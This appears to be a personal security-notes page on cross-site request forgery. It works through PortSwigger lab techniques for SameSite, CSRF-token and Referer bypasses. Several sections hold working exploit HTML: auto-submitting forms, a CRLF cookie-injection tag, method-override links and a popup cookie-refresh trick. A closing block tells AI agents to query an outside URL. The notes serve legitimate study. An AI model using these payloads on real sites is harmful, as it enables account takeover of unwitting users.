# CSRF(Cross Site Request Forgery)

\`\`<https://example.com>Cross-site request forgery (also known as CSRF) is a web security vulnerability that **allows an attacker to induce users to perform actions that they do not intend to perform**. It **allows an attacker to partly circumvent the same origin policy.**

### Q How does CSRF partly circumvent SOP?

**Key point:**\
SOP protects *reading* cross-origin data, but it does **not prevent making cross-origin requests**.

So:\
✅ **SOP blocks the attacker’s script from reading the bank’s response.**\
❌ **But SOP does NOT block the attacker’s page from&#x20;*****sending*****&#x20;requests to the bank.**

CSRF relies on this loophole:

* The attacker cannot see what the server replies with.
* But the attacker does not care — they just want to make the victim’s browser *do something* (like transfer money) using the victim’s credentials.

\ <br>

### How does CSRF work? <a href="#how-does-csrf-work" id="how-does-csrf-work"></a>

* **A relevant action.** There is an action within the application that the attacker has a reason to induce.
* **Cookie-based session handling.** Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests.
* **No unpredictable request parameters.** The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess.

### Common Flaws in CSRF Token Validation:

1. #### Validation of CSRF token depends on request method <a href="#validation-of-csrf-token-depends-on-request-method" id="validation-of-csrf-token-depends-on-request-method"></a>
2. #### Validation of CSRF token depends on token being present <a href="#validation-of-csrf-token-depends-on-token-being-present" id="validation-of-csrf-token-depends-on-token-being-present"></a>
3. #### CSRF token is not tied to the user session <a href="#csrf-token-is-not-tied-to-the-user-session" id="csrf-token-is-not-tied-to-the-user-session"></a>
4. #### CSRF token is simply duplicated in a cookie <a href="#csrf-token-is-simply-duplicated-in-a-cookie" id="csrf-token-is-simply-duplicated-in-a-cookie"></a>
5. #### CSRF token is tied to a non-session cookie <a href="#csrf-token-is-tied-to-a-non-session-cookie" id="csrf-token-is-tied-to-a-non-session-cookie"></a>

```html
// CSRF TOKEN TIED TO NON-SESSION COOKIE PAYLOAD

<img src="https://0a0a00a9032dbff180960847006100ca.web-security-academy.net/
?search=test%0d%0aSet-Cookie:%20csrfKey=VdmE3oT5Qi0b4VhevkOyb7bhc5R53r9q%3b%20SameSite=None"
 onerror="alert(1)">

<form
  action="https://0a0a00a9032dbff180960847006100ca.web-security-academy.net/my-account/change-email"
  method="POST"
>
  <input
    required
    type="email"
    name="email"
    value="fake.email1895@normal-website.com"
  />
  <input
    required
    type="hidden"
    name="csrf"
    value="rNDJAzV11QpZNVhRLiL13PnIg77CfyDA"
  />
</form>

<script>
document.forms[0].submit();
</script>




```

### SameSite Website?

Considering the scheme and TLD+1, governs whether request is from same site or cross site.\ <br>

<table><thead><tr><th width="207.1817626953125">Request from</th><th width="199.36376953125"> 	Request to</th><th width="122.1817626953125"> 	Same-site?</th><th> 	Same-origin?</th></tr></thead><tbody><tr><td><code>https://example.com</code></td><td><code>https://example.com</code></td><td>Yes</td><td>Yes</td></tr><tr><td><code>https://app.example.com</code></td><td><code>https://intranet.example.com</code></td><td>Yes</td><td>No: mismatched domain name</td></tr><tr><td><code>https://example.com</code></td><td><code>https://example.com:8080</code></td><td>Yes</td><td>No: mismatched port</td></tr><tr><td><code>https://example.com</code></td><td><code>https://example.co.uk</code></td><td>No: mismatched eTLD</td><td>No: mismatched domain name</td></tr><tr><td><code>https://example.com</code></td><td><code>http://example.com</code></td><td>No: mismatched scheme</td><td>No: mismatched scheme</td></tr></tbody></table>

All major browsers currently support the following SameSite restriction levels:

* **Strict**: browsers will not send it in any cross-site requests. In simple terms, this means that if the target site for the request does not match the site currently shown in the browser's address bar, it will not include the cookie.
* **Lax**: will send the cookie in cross-site requests, but only if both of the following conditions are met:
  * The request uses the `GET` method.
  * The request resulted from a top-level navigation by the user, such as clicking on a link.
* None

### By Passing SameSite=Lax :<br>

Bypassing the **SameSite=Lax** cookie restriction via method overriding in frameworks typically involves exploiting how frameworks handle HTTP method overrides (e.g., treating a `GET` as a `POST`/`DELETE`). This can bypass SameSite=Lax's protections because `GET` requests are considered "safe" and allowed in cross-site top-level navigation, while state-changing methods like `POST` are not. Below are examples of how this could be exploited in popular frameworks **if developers fail to implement proper CSRF protections**:

***

#### 1. **Ruby on Rails**

Rails uses a `_method` parameter to override HTTP methods (e.g., `POST` with `_method=DELETE`). If an endpoint allows state-changing actions via `GET` requests (e.g., deletion via a link), an attacker could craft a malicious link that triggers unintended actions:

```
<!-- Attacker's page -->
<a href="https://victim-site.com/resource/123?_method=DELETE">Click for Free Coupons!</a>
```

Run HTML

* **Why it works**:
  * The browser treats this as a `GET` request (allowed by SameSite=Lax in top-level navigation).
  * Rails processes it as a `DELETE` request, deleting the resource.
  * **Mitigation**: Always use `POST`/`DELETE` for state-changing actions and enforce CSRF tokens.

***

#### 2. **Laravel (PHP)**

Laravel supports method overriding via the `_method` parameter. If an application allows sensitive actions via `GET`, attackers can abuse this:

```
<!-- Attacker's page -->
<a href="https://victim-site.com/user/delete/1?_method=DELETE">Win a Prize!</a>
```

Run HTML

* **Why it works**:
  * The link is a `GET` request (SameSite=Lax allows cookies to be sent).
  * Laravel processes it as a `DELETE` request.
  * **Mitigation**: Use `POST` for destructive actions and validate CSRF tokens.

***

#### 3. **Express.js (Node.js) with `method-override`**

Express often uses middleware like `method-override` to spoof HTTP methods via query parameters or headers. An attacker could exploit this:

```
<!-- Attacker's page -->
<a href="https://victim-site.com/logout?_method=POST">View Funny Cat Video!</a>
```

Run HTML

* **Why it works**:
  * The browser sends a `GET` request (SameSite=Lax allows cookies).
  * The `method-override` middleware converts it to a `POST`, triggering a logout.
  * **Mitigation**: Avoid using `method-override` for sensitive endpoints or enforce CSRF checks.

***

#### 4. **Spring Boot (Java)**

Spring Boot allows method overriding via the `_method` parameter if enabled. For example:

```
<!-- Attacker's page -->
<a href="https://victim-site.com/transfer?amount=1000&account=attacker&_method=POST">Claim Your Reward!</a>
```

Run HTML

* **Why it works**:
  * The `GET` request is treated as a top-level navigation (SameSite=Lax sends cookies).
  * Spring processes it as a `POST` request, executing the transfer.
  * **Mitigation**: Disable method overriding in sensitive routes or use CSRF tokens.

***

#### Why This Works

* **SameSite=Lax** allows cookies to be sent with cross-site `GET` requests during top-level navigation (e.g., clicking a link).
* If a framework processes a `GET` with method overriding as a state-changing `POST`/`DELETE`, it bypasses the intent of SameSite=Lax, which assumes `GET` requests are safe.

***

#### Critical Mitigations

1. **Never allow state-changing actions via `GET` requests**.
2. **Enforce CSRF tokens** for `POST`, `PUT`, `DELETE`, etc., even with SameSite=Lax.
3. **Disable HTTP method overriding** for sensitive endpoints.
4. Use `SameSite=Strict` for highly critical cookies (but this breaks cross-site navigation).

```
// BURPSUITE PAYLOAD:
<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>
```

### Bypassing SameSite restrictions using on-site gadgets: <a href="#bypassing-samesite-restrictions-using-on-site-gadgets" id="bypassing-samesite-restrictions-using-on-site-gadgets"></a>

With the `SameSite=Strict` attribute, browsers won't include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.

```html
<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
```

#### **Why does this only work with client-side redirects?**

* **Client-side redirect**:
  * Done in JavaScript in the browser (e.g., `window.location`).
  * Browser sees it as **the same origin** continuing navigation.
* **Server-side redirect**:
  * Original request comes from `attacker.com` → `victim.com/redirect`.
  * Server replies: **HTTP 302** to `victim.com/transfer?...`
  * Browser knows this chain started as cross-site → so it still applies SameSite rules → cookies stay restricted.

So, **client-side redirects can trick the browser into treating the flow as same-site**, while **server-side redirects preserve the cross-site context**.

### SameSite Lax bypass via cookie refresh

**Study the change email function**

1. In Burp's browser, log in via your social media account and change your email address.
2. In Burp, go to the **Proxy > HTTP history** tab.
3. Study the `POST /my-account/change-email` request and notice that this doesn't contain any unpredictable tokens, so may be vulnerable to CSRF if you can bypass any SameSite cookie restrictions.
4. Look at the response to the `GET /oauth-callback?code=[...]` request at the end of the OAuth flow. Notice that the website doesn't explicitly specify any SameSite restrictions when setting session cookies. As a result, the browser will use the default `Lax` restriction level.

**Attempt a CSRF attack**

1. In the browser, go to the exploit server.
2. Use the following template to create a basic CSRF attack for changing the victim's email address:

```html
// Some code
<script> 
history.pushState('', '', '/') 
</script> 

<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"
      method="POST">
 <input type="hidden" name="email" value="foo@bar.com" /> 
 <input type="submit" value="Submit request" />
</form> 

<script> document.forms[0].submit(); </script>
```

1. Store and view the exploit yourself. What happens next depends on how much time has elapsed since you logged in:
   * If it has been longer than two minutes, you will be logged in via the OAuth flow, and the attack will fail. In this case, repeat this step immediately.
   * If you logged in less than two minutes ago, the attack is successful and your email address is changed. From the **Proxy > HTTP history** tab, find the `POST /my-account/change-email` request and confirm that your session cookie was included even though this is a cross-site `POST` request.

**Bypass the SameSite restrictions**

1. In the browser, notice that if you visit `/social-login`, this automatically initiates the full OAuth flow. If you still have a logged-in session with the OAuth server, this all happens without any interaction.
2. From the proxy history, notice that every time you complete the OAuth flow, the target site sets a new session cookie even if you were already logged in.
3. Go back to the exploit server.
4. Change the JavaScript so that the attack first refreshes the victim's session by forcing their browser to visit `/social-login`, then submits the email change request after a short pause. The following is one possible approach:

```html
// Some code
<form method="POST" 
      action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> 
      
   <input type="hidden" name="email" value="pwned@web-security-academy.net"> 
 </form> 
 
 <script> 
 window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
  setTimeout(changeEmail, 5000); 
  function changeEmail(){ document.forms[0].submit(); } 
 </script>
```

Note that we've opened the `/social-login` in a new window to avoid navigating away from the exploit before the change email request is sent.

1. Store and view the exploit yourself. Observe that the initial request gets blocked by the browser's popup blocker.
2. Observe that, after a pause, the CSRF attack is still launched. However, this is only successful if it has been less than two minutes since your cookie was set. If not, the attack fails because the popup blocker prevents the forced cookie refresh.

**Bypass the popup blocker**

1. Realize that the popup is being blocked because you haven't manually interacted with the page.
2. Tweak the exploit so that it induces the victim to click on the page and only opens the popup once the user has clicked. The following is one possible approach:

```html
// Some code
<form method="POST" 
      action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email"> 
   <input type="hidden" name="email" value="pwned@portswigger.net"> 
</form> 

<p>Click anywhere on the page</p>
 <script>
  window.onclick = () => { 
        window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000); 
        } 
  function changeEmail() { 
  document.forms[0].submit(); 
  } 
  </script>
```

1. Test the attack on yourself again while monitoring the proxy history in Burp.
2. When prompted, click the page. This triggers the OAuth flow and issues you a new session cookie. After 5 seconds, notice that the CSRF attack is sent and the `POST /my-account/change-email` request includes your new session cookie.
3. Go to your account page and confirm that your email address has changed.
4. Change the email address in your exploit so that it doesn't match your own.
5. Deliver the exploit to the victim to solve the lab.

<br>

```html
// My Payload
<form
  action="https://0a1c0045046e248b80ec12d8005e00a3.web-security-academy.net/my-account/change-email"
  method="POST"
>
  <input
    required
    type="email"
    name="email"
    value="fake.email1133@normal-website.com"
  />
</form>

<script>
   window.onclick = () => {
       window.open('https://0a1c0045046e248b80ec12d8005e00a3.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

```

### Bypassing Referer-based CSRF defenses

#### Validation of Referer depends on header being present <a href="#validation-of-referer-depends-on-header-being-present" id="validation-of-referer-depends-on-header-being-present"></a>

<pre class="language-html"><code class="lang-html">&#x3C;meta name="referrer" content="never">
<strong>&#x3C;form
</strong>  action="https://0a0a00a9032dbff180960847006100ca.web-security-academy.net/my-account/change-email"
  method="POST"
>
  &#x3C;input
    required
    type="email"
    name="email"
    value="fake.email1895@normal-website.com"
  />
&#x3C;/form>

&#x3C;script>
document.forms[0].submit();
&#x3C;/script>

</code></pre>

### Validation of Referer can be circumvented <a href="#validation-of-referer-can-be-circumvented" id="validation-of-referer-can-be-circumvented"></a>

Some applications validate the `Referer` header in a naive way that can be bypassed. For example, if the application validates that the domain in the `Referer` starts with the expected value, then the attacker can place this as a subdomain of their own domain:<br>

```
http://vulnerable-website.com.attacker-website.com/csrf-attack
```

```
http://attacker-website.com/csrf-attack?vulnerable-website.com
```

In an attempt to reduce the risk of sensitive data being leaked in this way, many browsers now strip the query string from the `Referer` header by default.\
\
You can override this behavior by making sure that the request containing your exploit has the `Referrer-Policy: unsafe-url` header set.\
\
&#x20;history.pushState('', '', '/?0a48005b03e031448109218c005d001b.web-security-academy.net'); to add query string in Referer Header.

```html
Headers:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url


Body:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a48005b03e031448109218c005d001b.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hell12&#64;changeemail&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/?0a48005b03e031448109218c005d001b.web-security-academy.net');
      document.forms[0].submit();
    </script>
  </body>
</html>

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n0m4dsec.gitbook.io/sec-book/web-vulnerabilities/client-side-vulnerabilties/csrf-cross-site-request-forgery.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
